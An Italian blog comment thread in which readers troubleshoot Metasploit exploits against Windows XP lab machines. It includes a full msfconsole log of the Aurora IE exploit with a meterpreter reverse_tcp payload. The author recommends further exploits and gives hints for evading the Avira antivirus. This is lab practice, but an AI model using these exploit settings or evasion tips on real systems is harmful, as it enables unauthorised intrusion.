    Rispondi



    • Se ti devo dire la verità non ho mai provato un PenTest sui sistemi prima del 2000 per il semplice fatto che ormai sono del tutto obsoleti davvero pochissimi possiedono ancora un win98-Me... ma potresti provarci tu e farci sapere! Secondo la logica il 98 dovrebbe essere zeppo di bug anche perchè ormai il supporto è terminato quindi nessun rilascio di patch. Prova e facci sapere :)

      Rispondi



    • @ luca
      Non c'è bisogno di utilizzare sistemi così vecchi, Windows XP SP0 va benissimo.
      Probabilmente il problema è un altro, prova con un exploit più recente e vedi come va, ad esempio: ms08_067_netapi.

      Rispondi



  59. Ho provato sia con windows xp,2000 e 98 ma niente mi con xp mi dice Exploit completed, but no session was created. mentre con gli altri due mi dice Exploit exception: DCERPC FAULT => nca_s_fault_access_denied,a questo punto presumo che sbaglio io qualcosa,io ho creato una macchina virtuale e ho cmd ipconfig e ho preso l'ip (RHOST) lo stesso procedimento faccio sul mio (LHOST) ho disattivato antivirus,firewall ma niente.
    Cosa ho sbagliato?

    Rispondi



  60. scusate se ho mancato alcune parole

    Rispondi



  61. Perchè nessuno mi risponde,sottolineo che devo provarlo sul mio computer,non mi permetterei mai di fare danni agli altri

    Rispondi



    • @ luca
      lo hai installato tu metasploit framework o stai utilizzando una distribuzione Linux preconfigurata?
      Prova ad utilizzare backtrack 4 e vedi se il problema persiste.

      Rispondi



  62. Ciao Mirko ho provato sia sul mio xp e sia sulla macchina virtuale con backtrack 4 ma il risultato non cambia,forse faccio io confusione con gli indirizzi ip,non lo so se qualcuno mi fa capire dove sbaglio lo ringrazio molto

    Rispondi



    • @ luca
      Non vedo come tu possa aver fatto confusione con gli indirizzi IP poiché l'operazione mi sembra molto banale.
      L'unica cosa che posso dirti è che ho appena provato a rifare quanto descritto in questo articolo (ultima versione DEV di metasploit) e tutto ha funzionato senza problemi.

      Rispondi



  63. Allora sono io che sono sfortunato

    Rispondi



  64. Ciao Mirko e ciao a tutti gli amici che seguono il blog.
    Sto seguendo con attenzione quanto scrivete sul Metasploit (che trovo molto interessante) e vorrei, se possibile, un aiuto.
    Ho 2 pc collegati allo stesso router: il pc "vittima" ha windows XP sp3 mentre quello "attaccante" ha backtrack 4 (veramente eccezionale). Non sono, diciamo così, in rete, nel senso che non si riconoscono, ma facendo il ping è tutto regolare. Il problema è che lanciando vari exploit, in particolare l'ultimo l'Aurora, l'exploit parte ma rimane tutto sospeso. Non va avanti. Io credo che sia un problema di porte: ho abbassato entrambi i firewall, ma non va. Suggerimenti?

    Rispondi



    • @ zittinobob
      Ciao,
      l'Aurora è un exploit di tipo "client-side" che sfrutta un bug di Internet Explorer quindi perché venga eseguito è necessario fare in modo che la "vittima" si connetta al web server attivato da metasploit.

      Rispondi



      • Mirko, fino a lì è ok. Il pc "vittima" si connette al web server attivato da metasploit (nel mio caso http://192.168.0.3:8080). Si attiva la connessione, lancia l'exploit, ma rimane appeso (se mi si consente il termine "grezzo"). Ho aspettato diversi minuti, ma non accade nulla. Secondo te qual'è la causa? Ti ringrazio per la risposta e per l'attenzione.

        Rispondi



  65. Mirko, sei gentilissimo. Questo è il log, vediamo cosa ne pensi.
    preparazione:
    msf > use windows/browser/ms10_002_aurora
    msf exploit(ms10_002_aurora) > show options

    Module options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    SRVHOST 0.0.0.0 yes The local host to listen on.
    SRVPORT 8080 yes The local port to listen on.
    SSL false no Negotiate SSL for incoming connections
    SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
    URIPATH no The URI to use for this exploit (default is random)

    Exploit target:

    Id Name
    -- ----
    0 Automatic

    msf exploit(ms10_002_aurora) > set SRVHOST 192.168.0.3
    SRVHOST => 192.168.0.3
    msf exploit(ms10_002_aurora) > show options

    Module options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    SRVHOST 192.168.0.3 yes The local host to listen on.
    SRVPORT 8080 yes The local port to listen on.
    SSL false no Negotiate SSL for incoming connections
    SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
    URIPATH no The URI to use for this exploit (default is random)

    Exploit target:

    Id Name
    -- ----
    0 Automatic

    msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
    PAYLOAD => windows/meterpreter/reverse_tcp
    msf exploit(ms10_002_aurora) > show options

    Module options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    SRVHOST 192.168.0.3 yes The local host to listen on.
    SRVPORT 8080 yes The local port to listen on.
    SSL false no Negotiate SSL for incoming connections
    SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
    URIPATH no The URI to use for this exploit (default is random)

    Payload options (windows/meterpreter/reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    EXITFUNC process yes Exit technique: seh, thread, none, process
    LHOST yes The listen address
    LPORT 4444 yes The listen port

    Exploit target:

    Id Name
    -- ----
    0 Automatic

    msf exploit(ms10_002_aurora) > set LHOST 192.168.0.3
    LHOST => 192.168.0.3
    msf exploit(ms10_002_aurora) > show options

    Module options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    SRVHOST 192.168.0.3 yes The local host to listen on.
    SRVPORT 8080 yes The local port to listen on.
    SSL false no Negotiate SSL for incoming connections
    SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
    URIPATH no The URI to use for this exploit (default is random)

    Payload options (windows/meterpreter/reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    EXITFUNC process yes Exit technique: seh, thread, none, process
    LHOST 192.168.0.3 yes The listen address
    LPORT 4444 yes The listen port

    Exploit target:

    Id Name
    -- ----
    0 Automatic

    lancio exploit

    esito:
    msf exploit(ms10_002_aurora) > exploit
    [*] Exploit running as background job.

    [*] Started reverse handler on 192.168.0.3:4444
    [*] Using URL: http://192.168.0.3:8080/5V3Uay4GZokGXbP
    [*] Server started.
    msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.0.2
    all'infinito......

    Rispondi



    • @ zittinobob
      Qual'è la versione di Internet Explorer?
      L'exploit disponibile in Metasploit funziona correttamente soltanto con Internet Explorer 6 (ovvimente non patchato).

      Rispondi



      • credo sia la 6 non pacciata infatti..... io penso che siano le porte nn aperte sul linux, ma onestamente non so aprirle....

        Rispondi



        • @ zittinobob
          backtrack non ha nessun fiewall attivato per default quindi a meno che tu non abbia installato qualche pacchetto particolare direi che le porte sono sicuramente tutte aperte.
          Il Windows XP è in italiano o in inglese?
          Ci sono software antivirus installati?
          Io direi che il comportamento da te descritto è riconducibile ad un exploit che fallisce sul lato client in quanto metasploit non inizia nemmeno ad inviare il primo stage del payload meterpreter.
          Un'altra domanda: sul client l'internet explorer va in crash o rimane aperto?

          Rispondi



          • Mirko, ti ringrazio per la tua disonibilità
            allora: xp in italiano e antivirus disattivato. explorer rimane aperto. la cosa che mi faceva pensare al firewall è che se lancio dal windows Zenmap sul linux mi dà tutte le porte chiuse. come mai?
            ancora grazie

            Rispondi



            • @ zittinobob
              Mi sembra corretto, se ci fosse un firewall attivo verrebbero riportare come "filtrate" e non come "chiuse".
              Se esegui una scansione dopo aver avviato l'exploit "aurora" dovresti vedere come "aperte" le porte 8080 e 4444 (default).
              Ti confermo che l'exploit funziona anche con la versione in lingua italiana di Windows XP/Internet Explorer.
              A qusto punto, se il browser rimane aperto e non si blocca, mi viene da pensare che sia una versione patchata... o che l'antivirus stia comunque bloccando il tentativo di sfruttare l'exploit.
              Non mi viene in mente altro.

              Rispondi



              • scusa il ritardo. ho fatto la verifica e infatti le porte sono aperte nel mentre è in atto il tentativo di exploit. mi sa che è il browser che è "pacciato". allora perchè non mi indichi un exploit che posso provare? te ne sono grato se mi darai qualche informazione. e ti ringrazio anche per la tua disponibilità

                Rispondi



                • @ zittinobob
                  i più recenti per Internet Explorer sono:
                  - ms10_046_shortcut_icon_dllloader
                  - ms10_042_helpctr_xss_cmd_exec
                  alternativamente puoi provare con un exploit che, sempre tramite pagina web, colpisca le applicazioni che si integrano in Internet Explorer tramite plug-in come ad esempio Adobe Reader, Qick Time, Flash Player... per Adobe Reader è disponibile uno 0day:
                  - adobe_cooltype_sing

                  Rispondi



                  • scusa il ritardo, ti aggiorno.
                    l'exploit adobe è ok: provato, funziona.
                    meterpreter è una cosa incredibile...... (per quel poco che riesco a farci, per ora).
                    l'ms10_046 funziona, ma lo intercetta il mio antivirus Avira
                    l'ms10_042 lo intercetta l'antivirus, ma non va: si blocca anche senza antivirus.
                    adesso provo a testare altri exploit.
                    ti ringrazio dell'attenzione che mi hai prestato.
                    se mi puoi dare qualche altro consglio....
                    ciao

                    Rispondi



                    • @ zittinobob
                      dovresti essere in grado di aggirare l'Avira utilizzando l'ultimo 0day di Internet Explorer ms10_xxx_ie_css_clip.
                      Si tratta di un Heap Overflow, risulta lento e poco affidabile.
                      L'unico consiglio che posso darti è quello di disabilitare l'opzione avanzata "InitialAutoRunScript" ed eseguire "run migrate -f" manualmente una volta ottenuta la sessione meterpreter.



  66. Mirko, ho provato ma crasha.... in giro su google ho letto che è possible tremite "encode" nascondersi dall'antivirus, ma non ho cpaito bene la sequenza dei comandi. ne sai qualcosa ?
    gentilissimo.....

    Rispondi



  67. @ zittinobob
    In questo caso è normale che il browser vada in crash, però dovresti ottenere una shell prima che si chiuda.
    Secondo me se il browser arriva al crash significa che l'antivirus non è intervenuto nel modo corretto quindi impostare manualmente l'encoder non ti dovrebbe servire.
    In ogni caso ti ho fatto un breve video .swf cercando di simulare una situazione simile alla tua, ecco il link: ms10_xxx_ie_css_clip.zip

    Rispondi



  68. @mirko
    provato ma non va. l'AVIRA lo legge. ho provato anche altri sistemi di encoding trovati su altri blog, ma l'antivirus l'acchiappa sempre. da una parte sono contento, ma vorrei capire meglio, non credi?
    ti ringrazio dell'attenzione e, se non ci "leggiamo", faccio a te e a tutti gli amici del blog tanti auguri di buon natale.

    Rispondi



    • @ zittinobob
      Ti ringrazio per gli auguri e ricambio.
      Probabilmente tu utilizzi AVIRA Premium che fa maggiori controlli sul contenuto delle pagine web rispetto alla versione FREE.
      AVIRA Premium riconosce l'exploit come HTML/Silly.Gen giusto?
      Se è così allora visita il link che ti ho appena dato e leggi la descrizione completa della minaccia, sono certo che se ci pensi bene troverai la risposta da solo... l'encoding del payload non c'entra.

      Rispondi



  69. scusa, probabilmente è una domanda stupida ma gli indirizzi ip devono essere quelli di connessione(quello che cambia ogni volta per capirci)o quello del computer che trovo col solito percorso esegui cmd ipconfig eccetera ? scusa ancora per la mia ignoranza

    Rispondi



  70. @Mirko
    cavoli, questa si che è bella..... adesso non dormirò per parecchie notti !!
    Allora la descrizione dell'Antivirus riguardo allHTML/Sylli.Gen è questa: Talvolta anche i malintenzionati commettono degli errori. Se un autore di malware è titubante e commette un errore che ci aiuta a rilevare il malware stesso (esistono diversi modi per farlo), AheAD lo segnala come HTML/Silly.Gen.
    mio dio.... non capisco nulla.....
    qualcuno che mi fa un po' (!) di luce?
    thanks

    Rispondi



  71. scusa, ma qualsiasi exploit e qualsiasi payload selezioni, nache usando un encoder il risultato ultimo è sempre:
    Exploit completed, but no session was created

    ho usato gli exploits + aggiornati e i migliori encoders quindi non credo si tratti di un problema di penetrazione, ma allora cos'è ?

    altra cosa quando lo scarico blocco norton 360 (so ke è una mer*a ma l'ho pagato e me lo tengo) ma quando lo riattivo mi blocca alcuni dei file di metasploit. c'è un modo x fermarlo ?

    grazie in anticipo e buon natale

    Rispondi



  72. @ herryco86
    @ zittinobob

    Vi ringrazio sinceramente per gli auguri, per aver commentato e per aver dato il vostro contributo al blog ma vi devo informare che non è mia intenzione entrare nel merito di questi aspetti che vanno ben oltre le problematiche "sistemistiche" legate all'utilizzo del framework.

    Rispondi



  73. ciao,ho letto l'articolo a me mi capita invece che utilizzando metasploit in back box 1.05
    e uso virtual box ose come macchina virutale un windows xp sp3 del 2002 gia attivato
    mi parte l'esploit mi parte pero non mi da il payload ovvero carica e basta cosa potrebbe essere??
    sto utilizzzo come connessione di rete il NAT e come connesione internet la chiavetta dell'3
    cosa potrebbe essere?? e quando testo sui file dll non mi da i privilegi root

    Rispondi



  74. Ciao mirko la tua guida pare che funzioni sul xp7 tranne due errori
    1)al comando: use windows/dcerpc/ms03_026_dcom. Mi dice(ms03_26_digicom
    2)e alla fime quando lancio exploit mi dice:exploit completet, but no session was
    created.
    Sapresti come aiutarmi per favore

    Rispondi


1 Trackbacks/Pingbacks

  1. Metasploit Framework 11 04 11

Lascia un commento